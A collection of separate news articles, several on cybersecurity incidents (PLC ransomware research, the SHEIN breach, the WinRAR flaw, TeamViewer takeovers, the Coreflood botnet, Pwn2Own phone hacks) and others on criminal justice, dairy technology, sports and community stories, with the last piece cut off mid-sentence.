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Ransomware has been around for a few years, but in last two years, it has become an albatross around everyone's neck, targeting businesses, hospitals, financial institutions and personal computers worldwide and extorting millions of dollars.
Ransomware is a type of malware that infects computers and encrypts their content with strong encryption algorithms, and then demands a ransom to decrypt that data.
It turned out to be a noxious game of Hackers to get paid effortlessly.
Initially, ransomware used to target regular internet users, but in past few months, we have already seen the threat targeting enterprises, educational facilities, and hospitals, hotels, and other businesses.
And now, the threat has gone Worse!
This PoC Ransomware Could Poison Water Supply!
Researchers at the Georgia Institute of Technology (GIT) have demonstrated the capability of ransomware to take down the critical infrastructure our cities need to operate, causing havoc among people.
GIT researchers created a proof-of-concept ransomware that, in a simulated environment, was able to gain control of a water treatment plant and threaten to shut off the entire water supply or poison the city's water by increasing the amount of chlorine in it.
Dubbed LogicLocker, the ransomware, presented at the 2017 RSA Conference in San Francisco, allowed researchers to alter Programmable Logic Controllers (PLCs) — the tiny computers that control critical Industrial Control Systems (ICS) and Supervisory Control and Data Acquisition (SCADA) infrastructure, like power plants or water treatment facilities.
This, in turn, gave them the ability to shut valves, control the amount of chlorine in the water, and display false readouts.
Sounds scary, Right?
Fortunately, this has not happened yet, but researchers say this is only a matter of time.
The simulated attack by researchers was created to highlight how attackers could disrupt vital services which cater to our critical needs, like water management utilities, energy providers, escalator controllers, HVAC (heating, ventilation and air conditioning) systems, and other mechanical systems.
Over 1500 PLC Systems Open To Ransomware Attack
LogicLocker targets three types of PLCs that are exposed online and infects them to reprogram the tiny computer with a new password, locking the legitimate owners out and demanding ransom while holding the utility hostage.
If the owners pay, they get their control over the PLC back. But if not, the hackers could malfunction water plant, or worse, dump life-threatening amounts of chlorine in water supplies that could potentially poison entire cities.
GIT researchers searched the internet for the two models of PLCs that they targeted during their experiment and found more than 1,500 PLCs that were exposed online.
"There are common misconceptions about what is connected to the internet," says researcher David Formby. "Operators may believe their systems are air-gapped and that there's no way to access the controllers, but these systems are often connected in some way."
Targeting industrial control and SCADA systems is not new, cybercriminals and nation-state actors are doing this for years, with programs like Stuxnet, Flame, and Duqu, but ransomware will soon add a financial element to these type of cyber attacks.
Therefore, it is inevitable that money-motivated criminals will soon target critical infrastructure directly. Additionally, the nation-state actors could also hide their intentions under ransomware operators.
So, it is high time for industrial control systems and SCADA operators to start adopting standard security practices like changing the PLCs default passwords, limiting their connections by placing them behind a firewall, scanning their networks for potential threats, and install intrusion monitoring systems.
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Washington (CNN)The House of Representatives on Thursday overwhelmingly passed bipartisan criminal justice legislation, marking a win for Republicans, Democrats and the administration alike. The legislation, dubbed the First Step Act, includes measures that will allow thousands of federal inmates to leave prison earlier than they otherwise would have, will ease some mandatory minimum sentences and will give judges more leeway in sentencing, among other things. It would also retroactively apply the 2010 Fair Sentencing Act, which reduced the disparity between sentences for offenses involving powder versus crack cocaine.RELATED: How Jared Kushner, Kim Kardashian West and Congress drove the criminal justice overhaulPresident Donald Trump is expected to sign the bill Friday in the Oval Office, a source familiar with the event said."Congress just passed the Criminal Justice Reform Bill known as the #FirstStepAct. Congratulations! This is a great bi-partisan achievement for everybody. When both parties work together we can keep our Country safer. A wonderful thing for the U.S.A.!!" Trump tweeted on Thursday. Read MoreReps. Doug Collins, R-Georgia, Hakeem Jeffries, D-New York, Bob Goodlatte, R-Virginia, Jerry Nadler, D-New York, Sheila Jackson Lee, D-Texas, Mark Walker, R-North Carolina, and Cedric Richmond, D-Louisiana, assembled Thursday afternoon for a news conference after the passage of the "historic" bill, which the Senate passed earlier this week. "First of all, I want to say that we're not letting out criminals," said Jackson Lee. "We're responding to mass incarceration, but we're not letting out criminals. We're letting out people who have the opportunity to go through programs, be counseled." At the news conference, the members all gave remarks and echoed similar sentiments, emphasizing the bipartisan effort that had been required to move the legislation through both chambers."Historic criminal justice reform is now a reality because we have brought together a coalition of the unusual suspects," Jeffries said."Democrats and Republicans, the left and the right, progressives and conservatives, the ACLU and the Koch brothers, the House and the Senate partnering with Jared Kushner, Donald Trump and the administration to strike a serious blow against the mass incarceration epidemic in the United States of America," he later added.Collins wrapped up the news conference by saying the legislation had been done through "the art of the possible.""I can't think of a better way on this day to celebrate who we are as Americans, and who we are as people of compassion and faith, to say we are giving a first step to many who have not had that in the past. And the first step will get us to many others," Collins said. The bill, which needed a two-thirds majority, passed by 358-36. However, the mark of rare bipartisanship was beset by news about the government funding bill, which stood in limbo. Trump told House GOP members that he would not support the stopgap legislation that the Senate passed on Wednesday. CNN's Ashley Killough, Alex Rogers and Jeremy Diamond contributed to this report.
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Story highlightsMaine program aims to rehabilitate those deemed insane, not criminally responsible Chuck Petrucelly now lives in the community after killing his brother in 2008"We had an opportunity to save him," ex-head prosecutor saysMaine health commissioner: "We don't have an experience of recidivism"Editor's note: "If only they had treated him before" follows one family's journey through the aftermath of a killing.Augusta, Maine (CNN)When Bill Stokes visits a cafe near the state Capitol, he admires one man behind the counter. To him, Chuck Petrucelly represents a life saved.Stokes headed the Maine attorney general's criminal division when his office accepted Petrucelly's insanity plea in the 2008 killing of his brother. "I take some measure of satisfaction from the fact he's a young man who has a future," Stokes says. "We had an opportunity to save him. Unfortunately, the wheels of justice kicked in after a horrific tragedy."There's no punishment I can give Chuck that's worse than the punishment he gives himself whenever he thinks about his brother." The former prosecutor and one-time Augusta mayor was recently appointed a Superior Court judge. He sees Petrucelly's recovery from multiple viewpoints. As a citizen, civic leader, head prosecutor and judge.Read MoreJUST WATCHEDLiving for his mother's forgivenessReplayMore Videos ...MUST WATCHLiving for his mother's forgiveness 05:26Petrucelly is one of 90 mentally ill people in Maine designated as not criminally responsible -- known as NCR patients -- because they were determined to be insane at the time of the crimes. Nineteen had faced murder charges. The rest were charged with an array of offenses, including aggravated assault, arson, stalking and sexual misconduct."As a prosecutor, you can't be so rigid you reject the idea that there really are people who are truly insane," Stokes says. "The people I'm worried about are not the forensics patients, because they're getting the best treatment you can imagine. The people I'm worried about are the people who are severely mentally ill not getting treatment. They're the next case that I don't want to see."Petrucelly was sent to the state psychiatric hospital with the goal of rehabilitation. He remained there for 4½ years and moved out of the hospital more than a year ago. Now 29, he lives alone in a supervised apartment in downtown Augusta.He tries not to dwell on the past. His brother was a year older; the two had been inseparable growing up. They played Nintendo, lifted weights and shared that indescribable bond of brotherhood. "There's just a connection I had with him that I just don't have with anybody else, and nothing can replace it," Petrucelly says. "Mike really was my best friend. That might be hard to believe with what happened."The past is very hard to work through."The biggest aid in his recovery, he says, was the forgiveness of his six other siblings and his mother, who remains his greatest advocate."You don't give up on one of your sons," says Rosanne Towle, his mother. "Losing Mike was devastating and still is. Part of me is broken. But Chuck is here and he still needs us. So our focus is on him."Focus on rehabilitationMaine's NCR statute says that a defendant is not criminally responsible by reason of insanity "if, at the time of the criminal conduct, as a result of mental disease or defect, the defendant lacked substantial capacity to appreciate the wrongfulness of the criminal conduct." Each defendant undergoes rigorous psychiatric assessment.About 5% of the state's cases result in a person being found not criminally responsible. "Once that decision is made, the focus shifts from punishment to rehabilitation, treatment and public safety," Stokes says.The length of a stay depends on how a patient responds to treatment. That can range from a couple of years to decades. Typically, the younger the patient is on arrival, officials say, the better likelihood of a quicker recovery. The program has been in place for more than 50 years, but was revamped after an NCR patient on a four-hour leave in 1985 killed a teenage girl. Stricter laws govern today's treatment program. That case also led to creation of the State Forensic Service, which conducts psychiatric and psychological evaluations for the court system. In the three decades since, state officials say, no NCR patient has committed a violent felony upon return to the community."The history of the experience speaks volumes," says Mary Mayhew, commissioner of Maine's Department of Health and Human Services. "We don't have an experience of recidivism. ... We're focused on recovery and the evidence-based standards of care. It's slow. It's thorough. The assessments and progress are comprehensive and are consistently being evaluated."Patients who once refused treatment, who could hardly utter a coherent sentence, begin to surrender to therapy, start taking medication and over time become functional. The treatment plan is based on incremental freedoms and stringent rules. As they progress, they can petition the court to move into a group home after years of therapy, then to a supervised apartment. Eventually, they can seek full release, as happened recently with a mother who starved her 5-year-old daughter to death in 1993.Other states have similar programs, but the approach and aggressiveness of the releases vary. While Maine has shown success in rehabilitating its patients, other states haven't fared so well. Dr. Fuller Torrey, a research psychiatrist, best-selling author and founder of the Treatment Advocacy Center, has been tracking patients who killed again upon their release into the community. "There is no shortage of them," he says.Once patients have undergone treatment, Torrey says, "it is imperative to then guarantee to the community, as well as to the person, that this individual will remain on medication indefinitely. And that's the issue."States have an incentive to move patients into the community and out of the hospital quickly, Torrey says, because the federal government picks up the cost when patients live in the community. And that, Torrey says, has resulted with patients being let go too soon and with drastic consequences.Ann LeBlanc, director of Maine's State Forensic Service, says authorities work extremely hard to make sure that doesn't happen. "What we know from years of research," she says, "if people make that transition too soon, they tend to have multiple offenses, dangerous behavior. So we go very slowly through that process."She often faces heated questions, even among friends and family, about why the state allows mentally ill patients, especially those who have killed, back into the community. She tells them: "That mental illness is treated and stable, and that they've had years to work hard and demonstrate that stability.""It's a slow, stepwise process," LeBlanc says. "We keep an eye out for the safety of the community, and the hospital makes proposals based on what the patient wants or needs. The judge decides."Since 2001, when Stokes took over the Maine attorney general's criminal division, 12 people have been deemed not criminally responsible in murder cases. Most killed a family member or somebody close to them. Five others who sought NCR status were rejected at trial and sentenced to prison. "There's always that concern that someone is gaming the system -- that someone is pretending to be insane when they're not in order to avoid criminal responsibility," Stokes says. "We're very conscious of that."Yet officials acknowledge there is no crystal ball, no way to predict how a patient will react upon release. The question they face most from an astonished public is: How do you know they won't kill again? "There are no guarantees," says LeBlanc, "and oftentimes I think the community is looking for a guarantee when we can't provide that about anybody."What we can say is these people that are under the commissioner's custody get the best care; they get the care that they need; they get the supervision they need so they can have a life."Petrucelly has begun his new life, but there are hitches. Every time he seeks more freedom, he must appear before court. That results in a local headline like: "Central Maine man who fatally stabbed brother can move to apartment, judge says."He says local reporters never ask to speak with him, never seek his side of the story. His mom wishes they'd stop running his arraignment photograph in which he was 150 pounds, in psychosis and looks totally out of it. If they'd just ask to take a new photo, his mother would be happy. "It sets up people to be afraid of me," Petrucelly says.The cafe where he works has accepted him and remains supportive. Making Reuben sandwiches isn't his ultimate goal. With a hulking 220-pound frame, Petrucelly hopes to become a fitness instructor one day. He can bench-press 425 pounds.Residents have no reason to fear him, he says. "The people who have had treatment, like myself, are not the ones that they need to worry about. Myself specifically, I'm aware of my illness," he says. "I'm aware of the fact that I need to take meds to remain stable or I need to watch how I'm thinking and manage my thoughts."He's determined to make his late brother proud of his recovery. "Part of the reason I don't give up on myself," he says, "is I know that my brother wouldn't want that. I know he'd want me to honor his memory in whatever way I can. Every day that I live and get up, I don't take it for granted because I know he doesn't have that now."
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U.S. online fashion retailer SHEIN has admitted that the company has suffered a significant data breach after unknown hackers stole personally identifiable information (PII) of almost 6.5 million customers.
Based in North Brunswick and founded in 2008, SHEIN has become one of the largest online fashion retailers that ships to more than 80 countries worldwide. The site has been initially designed to produce "affordable" and trendy fashion clothing for women.
SHEIN revealed last weekend that its servers had been targeted by a "concerted criminal cyber-attack" that began in June this year and lasted until August 22, when the company was finally made aware of the potential theft.
Soon after that, the company scanned its servers to remove all possible backdoored entry points, leveraging which hackers could again infiltrate the servers. SHEIN assured its customers that the website is now safe to visit.
Hackers Stole Over 6.42 Million SHEIN Customers' Data
Although details about the incident are scarce, the online retailer revealed that the malicious hackers managed to steal gain access to email addresses and encrypted password credentials for 6.42 million customers who registered on its website.
"While the full extent of the attack will continue to be investigated, it can now be confirmed that the personal information illegally acquired by the intruders included email addresses and encrypted password credentials of customers who visited the company website," SHEIN said.
"It is our understanding that the breach began in June 2018 and continued through early August 2018 and involves approximately 6.42 million customers."
However, the company said it typically does not store any credit card information on its systems and has currently no evidence that any credit card information of its customers was taken from its systems.
Since no payment card details were stolen, it does not appear that if the online retailer was hit by the recent series of Magecart cyber attacks that have recently affected popular online services including Ticketmaster, British Airways, and Newegg.
Are You Affected? Here's What Users Should Do
Upon becoming aware of this potential theft, SHEIN immediately hired a leading international forensic cybersecurity firm and an international law firm to launch a thorough investigation into the breach.
The company has already begun contacting all affected customers and requesting them to change passwords for their online store accounts by either clicking the link provided in the email notification from SHEIN or directly logging into their SHEIN account to change the password.
You can find "Edit Password" link under the "Account Setting" page.
If customers believe the attackers may have compromised their credit card information, the company urged them to directly contact their respective banks or credit card companies with any concerns.
For more information regarding the breach investigation and the actions SHEIN is taking to protect its customer information, you can contact the company at 844-802-2500, or visit its FAQ at www.shein.com/datasecurity.
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Beware Windows users... a new dangerous remote code execution vulnerability has been discovered in the WinRAR software, affecting hundreds of millions of users worldwide.
Cybersecurity researchers at Check Point have disclosed technical details of a critical vulnerability in WinRAR—a popular Windows file compression application with 500 million users worldwide—that affects all versions of the software released in last 19 years.
The flaw resides in the way an old third-party library, called UNACEV2.DLL, used by the software handled the extraction of files compressed in ACE data compression archive file format.
However, since WinRAR detects the format by the content of the file and not by the extension, attackers can merely change the .ace extension to .rar extension to make it look normal.
According to researchers, they found an "Absolute Path Traversal" bug in the library that could be leveraged to execute arbitrary code on a targeted system attempting to uncompress a maliciously-crafted file archive using the vulnerable versions of the software.
The path traversal flaw allows attackers to extract compressed files to a folder of their choice rather than the folder chosen by the user, leaving an opportunity to drop malicious code into Windows Startup folder where it would automatically run on the next reboot.
As shown in the video demonstration shared by researchers, to take full control over the targeted computers, all an attacker needs to do is convincing users into just opening maliciously crafted compressed archive file using WinRAR.
Since the WinRAR team had lost source code of the UNACEV2.dll library in 2005, it decided to drop UNACEV2.dll from their package to fix the issue and released WINRar version 5.70 beta 1 that doesn't support the ACE format.
Windows users are advised to install the latest version of WinRAR as soon as possible and avoid opening files received from unknown sources.
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Do you have remote login software TeamViewer installed on your desktop?
If Yes, then it could be possible that your system can be accessed by attackers to steal your personal details, including your bank and PayPal accounts, as several reports on Reddit and Twitter suggests.
According to recent reports, the popular TeamViewer software that is used to remotely control PCs appears to have been HACKED!
Over the past few days, a number of users headed on to the Internet forums to report that unknown attackers are taking control of their computers through their TeamViewer accounts and, in some cases, trying to steal money through services like eBay or PayPal.
This same behavior has also been reported by the IBM security researcher Nick Bradley, who said:
"In the middle of my gaming session, I lose control of my mouse, and the TeamViewer window pops up in the bottom right corner of my screen. As soon as I realize what is happening, I kill the application. Then it dawns on me: I have other machines running TeamViewer!"
But, the question still remains: What really happened to TeamViewer?
Actually, no one knows, at least, for now.
Because no evidence indicates a system-wide security breach at TeamViewer that could have given the attackers some sort of backdoor into users' PCs.
TeamViewer has also reacted by strongly denying the claims that the intrusions are the result of a hack on TeamViewer's network.
Instead, the account takeovers are the result of end users' carelessness. Moreover, the company referred to the recent widespread "mega breaches" that have dumped over 642 Million passwords over the past month.
"As you have probably heard, there have been unprecedented large-scale data thefts on popular social media platforms and other web service providers," the company wrote.
"Unfortunately, credentials stolen in these external breaches have been used to access TeamViewer accounts, as well as other services."
However, TeamViewer stands strong by its statement that a Denial of Service (DoS) attack knocked some of its servers offline on Wednesday, but the company managed to bring them back online after a few hours.
Also Read: Best Password Manager — For Windows, Linux, Mac, Android, iOS and Enterprise
The company advised its users to avoid careless use of its service and always:
Use a different password for each account.
Use two-factor authentication.
Use a password manager.
Don't tell other people your passwords.
Moreover, TeamViewer also announced two new features on Friday aimed at boosting its users' security after numerous users flocked online to complain about getting hacked through its service.
The two new features are:
Trusted Devices
Data Integrity
The Trusted Devices feature is specifically designed to prevent hackers from taking over your TeamViewer account. The feature allows you to approve the new device as trusted before it can access an existing TeamViewer account for the first time.
The device approval process is conducted by clicking a validation link sent to the account owner's email address.
The second feature, dubbed Data Integrity, works by automatically monitoring a user's account activity. If it detects any unusual behavior that might suggest account has been hacked, the service forces users to reset their password.
Here's What you should do:
TeamViewer users are strongly recommended to change their account passwords and use a strong one, and of course, NOT to use the same credentials across multiple sites.
I know, remembering different passwords for different accounts is a real pain, but you can use a good password manager to solve this issue.
Meanwhile, users should also ensure their TeamViewer accounts are protected with a randomly generated password that is at least 10 characters long, contains numbers, symbols, and uppercase and lowercase letters, and is unique.
It is always a good idea to run the TeamViewer software only when it's truly needed, instead of allowing it to auto-start each time your PC is turned on.
If you have also experienced something fishy with your TeamViewer account, let us know in the comments below.
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(CNN Business)The wearables market skyrocketed over the last three years, and consumers are projected to spend nearly a $100 billion on devices ranging from smartwatches to smart patches in 2022.Now, one tech startup wants to take wearables to another market: cows. Bangalore-based Stellapps is a farm-to-consumer digital platform that uses technology to track milk on its journey through the supply chain. "We have a device which is like a Fitbit for cattle," says Ranjith Mukundan, co-founder and CEO of Stellapps. The company's "mooON" device "goes around the animal's leg, and [tracks] their activity levels," he says.When cows are sick, they move less, and when they are ovulating, they move more, says Mukundan. Stellapps combines information from the step trackers with data that farmers and vets enter into a smartphone app, which issues reminders for routine protocols such as vaccinations and artificial insemination. Healthier cows produce more milk, and by tracking and better managing their animals, farmers can increase yields, says Mukundan.Read MoreBut Stellapps isn't just creating step counters: the mooON device is one small part of a much bigger initiative to transform the world's largest dairy industry with smart tech.Farmers bring milk to village collection centers where it is weighed, analyzed and priced. This is also where farmers receive payment for their milk. Digitizing dairyFounded in 2011, Stellapps' technology is currently used by nearly three million dairy farmers across 36,000 villages in India, accounting for over 13.5 million liters of milk daily, according to Mukundan.In October 2021, the company raised $18 million, led by Dutch animal nutrition company Nutreco, which joined existing investors including the Gates Foundation and Blume Ventures. In India, farmers typically deliver milk to collection points in nearby villages. Here, Stellapps uses an ultrasonic analyzer to measure the nutritional content of the milk — allowing standardized price-setting and giving farmers updates on their cows' health and nutritional needs. The company measures the volume of milk collected with a digital scale and transfers payments directly to farmers' bank accounts via its "mooPay" platform.Milk of similar quality is then combined in digitally tagged 40-liter cannisters and sent to a larger, centralized cold storage unit. At the unit, volume sensors monitor the milk to prevent it from being watered down or stolen, says Mukundan. From there, the milk is taken to a processing plant to be pasteurized and packaged, or converted into products like cheese or yogurt. Mukundan says Stellapps can bring traceability into India's dairy industry, enabling the company to "vouch for every glass of milk." India is the world's largest dairy producer, and companies like Stellapps hope to make it more efficient with technology. A fragmented industryIndia is home to the world's large milk industry, producing 199 million metric tons in 2021.But dairy hasn't always been a staple in India, which relied on milk imports until 1970, when a rural development program called "Operation Flood" overhauled the industry.This made milk more affordable, providing a good source of protein, as well as reducing poverty in rural communities, says Thanammal Ravichandran, a dairy economist, and program manager for dairy at food producers ABT Foods. The program also turned India into a "milk-exporting country."An Indian startup could revolutionize ocean farming with its 'sea combine harvester'But despite its size, India's dairy industry is still fragmented and largely unindustrialized, says Ravichandran. Around 80% of dairy animals in India belong to smallholders who own only two to three cows. In contrast, the average size of a dairy herd in the United States was 296 cows in 2020. On the small Indian farms, productivity is often low, Ravichandran adds. On average, dairy cows in India produced five liters per day in 2019, compared to more than 30 liters daily for the United States' top dairy cows.Stellapps is not the only Indian startup looking to modernize the industry through smart technology. Like Stellapps, Prompt has created cow pedometers to monitor health and breeding cycles, and Ravichandran points to Farmtree by Inhof Technologies, which uses data to work out the efficiency and value of small farms, and Herdman by Vetware, which offers a subscription model to track data for more than one million animals. "Data can help to transform the industry," she says. The step tracker is tamper-proof, and Stellapps says it could help insurers identify and monitor cows.An expanding platformStellapps does not charge farmers for its technology and advisory services. Instead, it monetizes its product through the cooperatives that purchase the milk and additional service providers, like insurance and animal nutrition companies.Mukundan says the company is eyeing the retail end of the supply chain, too. It's developing a portal that maps the origin and journey of milk, which he believes will appeal to quality-conscious consumers.By bringing more dairy farms onto the platform, Mukundan hopes he can improve life for farmers while making India's milk products tastier and more nutritious. "Consumers are willing to pay more so that when they give it to their kids at home, they're absolutely confident that it's the best milk possible," he says.
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FBI cracks International Bot Network !
The Department of Justice and FBI declared that it has cracked a network of hackers, who have infected almost 2 million computers with a harmful "bot" program, Coreflood that steals private and monetary data from computers.
Identified as a "bot" network- as the malware can be managed distantly like a robot- it compromises machines with a software program called Coreflood, which downloads itself by finding out the vulnerability in systems, that are running Windows operating systems.
The legal actions are the key components of the "most complete and inclusive enforcement action ever taken by the U.S. authorities to put out of action an international botnet", as per the statement from the Department of Justice, reports cnet News on April 13, 2011.
As per a request from a temporary restraining order that was granted, it's the first time USA law enforcement has taken consent from a court for controlling a botnet.
This malware (Coreflood) stores keystrokes and personal communications, making it enable to compromise login details, like passwords, and other personal and monetary data. Once a system is compromised with Coreflood, the malware contacts a command-and-control server, allowing it to distantly control the compromised machine.
The government replaced the unauthentic command and control servers with substitute servers to prevent Coreflood from being used for any more harmful activity.
U.S. Attorney David B. Fein for the District of Connecticut stated that the seizure of the Coreflood servers and Internet domain names can stop hackers from using Coreflood or systems infected by Coreflood for their evil purpose. He stated that he wished that his industry partners to work in cognition with the law enforcement in order to attain this great result, as per the news by CRN on April 13, 2011.
But, it is impossible to know exactly the number of victims claimed by Coreflood, as machines are continuously being infected, disinfected and sometimes reinfected. While investigators estimated 413, 710 infected machines from March 2009 to January 2010, the total number of machines those were, or had been, part of Coreflood is more than 2.3 million, with almost 1.8 million seems to be located in the USA.
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(CNN)The Cleveland Browns have defended their signing of embattled quarterback Deshaun Watson, saying they carried out a "comprehensive evaluation" beforehand. The trade of 26-year-old Watson from the Houston Texans was confirmed on Sunday. The quarterback heads to Cleveland along with a fifth round draft pick, while the Texans receive three first round picks, a third round pick and a fourth round pick. According to NFL.com, Watson told the Texans he is willing to waive his no-trade clause for the move and will reportedly receive a five-year, fully guaranteed $230 million contract from the Browns. It would be the highest guaranteed money given to an NFL player, according to ESPN.Last week, a Harris County grand jury declined to charge Watson over allegations of harassment and sexual misconduct. Watson still faces 22 civil lawsuits, many of them alleging sexual assault and misconduct.The NFL is also investigating the accusations and if Watson is found to have violated league rules, he likely would be suspended.Read MoreNews of Watson's trade and signing led to a swell of backlash from fans, primarily on social media, directed at the Browns hierarchy, with some saying it marks the end of their fandom with the team. However, in the statement announcing the details of Watson's trade, Browns owners Dee and Jimmy Haslam said the team had done a "comprehensive evaluation" before signing off on it, with the general manager saying they had completed "extensive investigative, legal and reference work.""We are acutely aware and empathetic to the highly personal sentiments expressed about this decision," Dee and Jimmy Haslam said. "Our team's comprehensive evaluation process was of utmost importance due to the sensitive nature of his situation and the complex factors involved. We also understand there are still some legal proceedings that are ongoing and we will respect due process. "It was pivotal that we, along with Andrew Berry and (head coach) Kevin Stefanski, meet with Deshaun to have a straightforward dialogue, discuss our priorities, and hear directly from him on how he wants to approach his career on and off the field. He was humble, sincere, and candid. In our conversations, Deshaun detailed his commitment to leading our team; he understands and embraces the hard work needed to build his name both in the community and on the field."Watson drops back to pass during the first half against the Tennessee Titans at NRG Stadium on January 3, 2021.Shortly after the trade was announced, Tony Buzbee -- the attorney for the 22 women who are suing Watson -- told CNN that no NFL teams reached out to him or his clients in an attempt to research Watson."The Browns organization did not reach out to me. I didn't expect them to do so and can understand why they didn't. But, knowing what I know, they probably should have," Buzbee said.Visit CNN.com/sport for more news, features, and videosBrowns head coach Kevin Stefanksi said the team understands "the concerns and questions that exist" but are "confident in the extensive work Andrew (Berry) and his staff have done to feel confident about him joining our organization."During his five seasons playing for the Texans, Watson established himself as one of the best young quarterbacks in the league. He has been voted to three Pro Bowls and led the NFL in passing yards in 2020.
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The Samsung Galaxy S3 can be hacked via NFC, allowing attackers to download all data from the Android smartphone, security researchers demonstrated during the Mobile Pwn2Own contest in Amsterdam.
Using a pair of zero day vulnerabilities, a team of security researchers from U.K.-based MWR Labs hacked into a Samsung Galaxy S3 phone running Android 4.0.4 by beaming an exploit via NFC (Near Field Communications).
NFC is a technology that allows data to be sent over very short distances. For mobile devices, the protocol allows digital wallet applications to transfer money to pay at the register. While the technology has been slow to take off, despite the adoption by Google for its Wallet payment application, a number of recent high-profile announcements have boosted its adoption.
"Through NFC it was possible to upload a malicious file to the device, which allowed us to gain code execution on the device and subsequently get full control over the device using a second vulnerability for privilege escalation," MWR InfoSecurity said in a statement. "The same vulnerability could also be exploited through other attack vectors, such as malicious websites or e-mail attachments."
The attacker, for instance, gets access to all SMS messages, pictures, emails, contact information and much more. The payload is very advanced, so attackers can "basically do anything on that phone," the researchers said.
How this Works:
1.) The first, a memory corruption flaw, was exploited via NFC (by holding two Galaxy S 3s next to each other) to upload a malicious file, which in turn allowed the team to gain code execution on the device.
2.) The malware then exploited a second vulnerability to gain full control over the device using privilege escalation. This undermined Android's app sandbox model, allowing the attackers to install their customised version of Mercury, the company's Android assessment framework.
3.) Mercury was then used to exfiltrate user data on the device (such as contacts, emails, text messages, and pictures) to a remote listener.
Researchers also said that,"Crucially, the ASLR implementation is incomplete in Android 4.0.4, and does not cover Bionic (Android's linker) and /system/bin/app_process, which is responsible for starting applications on the device. Other protections which would make exploitation harder were also found to be absent."
MWR Labs, which won $30,000 for its hack, is planning a more technical blog post detailing the process of finding and exploiting this bug.
Also, a Dutch research Joost Pol , CEO of Certified Secure, a nine-person research outfit based in The Hague hack into Apple's iPhone 4S from scratch, exploited a WebKit vulnerability to launch a drive-by download when the target device simply surfs to a booby-trapped web site.
They used code auditing techniques to ferret out the WebKit bug and then spent most of the three weeks chaining multiple clever techniques to get a "clean, working exploit."
During the Pwn2Own attack, Pol created a web site that included an amusing animation of the Certified Secure logo taking a bite of the Apple logo. The drive-by download attack did not crash the browser so the user was oblivious to the data being uploaded to the attacker's remote server. "If this is an attack in the wild, they could embed the exploit into an ad on a big advertising network and cause some major damage."
The duo destroyed the exploit immediately after the Pwn2Own hack. "We shredded it from our machine. The story ends here, we're not going to use this again. It's time to look for a new challenge," Pol said.He provided the vulnerability and proof-of-concept code that demonstrates the risk to contest organizers at HP TippingPoint Zero Day Initiative (ZDI).
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Story highlights"From the NICU to the Moon" envisions prenatal babies in future professionsThe photos are part of a larger campaign to encourage "safe sleeping" at homeAccidental suffocation or strangulation in bed is leading cause of sudden infant deaths "Our NICU babies are poised to make a big impact on the world," one nurse said"What do you want to be when you grow up?"It's both a daunting and a promising question that children field from the time they can comprehend the concept of a future.For newborns in the neonatal intensive care unit of Children's Healthcare of Atlanta, that tiny query is even more poignant. A new photo series imagines bright futures in store for the hospital's monitor-strapped preemies. Whimsical doodles are superimposed on pictures of the babies, depicting them in professions such as astronauts, Olympians, ballerinas and chefs."From the NICU to the Moon" is part of the organization's Safe Sleep Campaign, which hopes to connect parents and caregivers with safe sleeping tips in order for their babies' sweet dreams -- amid the steady beep-beep of NICU monitors -- to become a reality.The photographs were taken by an employee of Children's Healthcare of Atlanta, and designers at Matchstic, a branding agency in Atlanta, handled the imaginative doodles. All of the little dreamers were born between 25 and 37 weeks of gestation, according to Jessica Wright, a nurse educator. "We wanted the photos to help educate parents about the need for babies to sleep alone, on their backs and in a crib," Wright said, adding that babies can be unintentionally harmed by blankets and stuffed animals in the crib, sharing an adult bed or sleeping on his or her stomach.According to the CDC, approximately 4,000 infants between 1 month and 1 year of age die suddenly and unexpectedly each year -- and the leading cause of those deaths is accidental suffocation or strangulation in bed.More than that, the campaign is about looking to the next chapter after the NICU, Wright says, and a safe sleeping environment is a big part of it."We also wanted the photo series to show that our NICU babies are poised to make a big impact on the world," Wright said.
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Española, New Mexico (CNN)Growing up, Aaron Martinez watched both of his parents struggle with addictions. Ultimately, his older sister died from a heroin overdose and his father overdosed from prescription painkillers.At times, it was hard for Martinez to imagine another future."People would tell me, 'You're going to be a drug addict, you're going to be a tecato (heroin addict), you're going to be worthless,'" said Martinez, now 22. "For the longest time, I believed them just because of what I was seeing in my life."In northern New Mexico's Rio Arriba County, stories like these aren't unusual. As a center of the opioid epidemic, it has one of the highest drug overdose death rates in the country -- almost four times higher than the national average. Just last week, the county received a $2 million grant to combat the problem. Yet addiction is just one of the challenges in this region, where nearly 30% of the population lives below the poverty line. JUST WATCHEDCNN Heroes: Mosaic of danceReplayMore Videos ...MUST WATCHCNN Heroes: Mosaic of dance 03:46But artist Roger Montoya is making sure young people like Martinez can find a different path through his nonprofit, Moving Arts Española. Since 2008, his community arts center has provided arts classes, free meals, tutoring and support to more than 5,000 children and youth. Read MoreIt's not the path Montoya originally envisioned. He'd been a professional dancer in New York, but by the late 1980s, he was HIV-positive and had lost his partner and many friends to AIDS. Returning to New Mexico, he felt like he was coming home to die."My soul was really aching with such loss and grief," said Montoya, 58. "It seemed inevitable that I would be on that same track."Immersing himself in painting, a lifelong passion, helped restore his health."Coming home, with my family, my art, really set the tone for me to begin to heal," he said. "Art is medicine."Now, Montoya brings the healing power of the arts to local children five days a week. Several hundred students each year take part in classes ranging from gymnastics and circus arts to fashion design and musical arts like singing, violin, ballet and hip hop. The group also celebrates local culture by teaching traditional Mexican dancing, known as folklorico, as well as Spanish flamenco dancing and guitar. "We believe that if kids can taste a smorgasbord of opportunity, they're surely going to find some creative pathway to connect," Montoya said. CNN Hero Roger Montoya"Many of our kids come to us traumatized. ... When I see a child's face and spirit come to life, I don't need any more evidence that it's working. I just know we need more."Aaron Martinez is one of the group's success stories. In grade school, he learned tumbling from Montoya, a former college gymnast. He vividly remembers the excitement he felt when Montoya helped him land a backflip for the first time. "(It) just exploded this positive energy inside of me," Martinez said. "Ever since ... it's made me feel like I could do so much more with my body and so much more with my heart." Martinez poured his energy into sports, which helped him stay away from drugs. Today, he teaches gymnastics at the center and plans to enter college this fall. With Montoya's encouragement, he also shares his story at anti-opioid summits.Seeing young people grow, as artists and as people, gives Montoya great satisfaction."You can feel when they have that sense of pride and confidence," he said. "It's a little fire in there and we just feed it every day a little more."JUST WATCHEDCNN Heroes: Pueblo BallerinaReplayMore Videos ...MUST WATCHCNN Heroes: Pueblo Ballerina 03:39CNN's Kathleen Toner spoke with Montoya about his work. Below is an edited version of their conversation.CNN: What led you to create Moving Arts?Roger Montoya: My partner Salvador and I were working in a program that I designed that brought arts into the public schools. During the school day we could see just a spark -- the kids were like, "I love this. I want more!" We saw that an afterschool setting would give them more time to discover their passion. We also realized how valuable it would be during this critical period when school is out, mom and dad aren't home. So, we said, "Let's go to the superintendent. There's got to be an empty classroom we use," and that was how we started. It was a 